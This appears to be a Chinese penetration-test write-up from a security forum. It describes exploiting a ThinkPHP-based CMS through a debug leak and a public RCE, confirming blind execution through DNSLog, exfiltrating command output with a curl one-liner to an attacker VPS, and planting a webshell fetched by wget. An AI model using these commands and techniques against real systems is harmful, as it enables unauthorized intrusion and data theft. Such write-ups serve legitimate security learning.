前言
某次渗透测试中,信息收集过程中找到一个登陆界面。
其中在测试逻辑漏洞过程中,修改参数的时候爆出了Debug,才有了接下来的过程。

如有哪里不足,望师傅们指出。

1、Rce

通过Debug信息得知,这是一个thinphp的cms。
之前thinkphp的日志泄露漏洞屡试不爽,于是想先找日志。

通过Debug可以得知他的根目录在/www/wwwroot/devorder/public,我们只能访问Public目录下的文件,访问不到runtime目录,只能另辟蹊径。

在最下边找到了Cms的版本号,于是去网上找这个版本公开的漏洞。

经过寻找、测试,发现存在由变量覆盖导致的Rce漏洞。
具体漏洞分析可以参考 https://blog.csdn.net/xuandao_ahfengren/article/details/86333189

直接使用网上的Payload提示执行命令的函数被禁用,估计是Disable_function的作用。

其中有几个执行命令的函数发送请求后会直接返回登陆界面,未知执行状态。

于是找了一个在线的DnsLog平台,这种平台会随机给一个子域名。
如果对子域名发送Http、Icmp的包,平台就会接收到数据包,从而判断命令是否执行。
这种方式在sql注入中这种方式也有奇效。
具体使用方法可以参考这位师傅写的文章:https://www.cnblogs.com/sstfy/p/10351807.html

在这里执行了几次Ping之后还是收不到返回,猜测可能Icmp包被拦了,改为用Curl请求子域名。

成功收到请求

这种在线的只能简单的验证是否存在Rce,无法获得命令回显。

如果想获得命令回显,可以使用在线的Ceye平台来接收回显。

也可以使用自己的Vps来接收回显

在Vps开启Web服务或防火墙没有禁用Icmp的时候,发送Http或Icmp包后会在日志中留下记录,直接查看日志记录即可获得命令回显。

例如:
curl http://Vps/`command`
这里使用返单引号将要执行的命令包裹,原理是在Linux中执行命令会首先执行反单引号中的命令,并将其结果输出。
这段代码在执行完whoami后,会将返回的值拼接到http://Vps/ 后。

我这里选择开启Web服务
再看这次返回结果,日志中的访问记录是http://Vps/www ,可以得知目标系统是Linux,并且使用WWW权限开启的Web服务。

Getshell
尝试了bash反弹Shell的方式没有弹回来。
这里不知道为什么使用echo >> 的方法写不进去,最后使用Wget下载文件到指定目录。

以上两个问题,有知道的师傅方便的话通过评论告我一声,先行谢过。
通过Debug中的绝对路径写WebShell后找不到写的Webshell,于是在Web目录下查找登陆界面,成功得到真.绝对路径。

将Webshell写在VPS中,再次使用Wget下载Webshell到真.绝对路径,成功Getshell。

点击收藏 | 3 关注 | 1
登录 后跟帖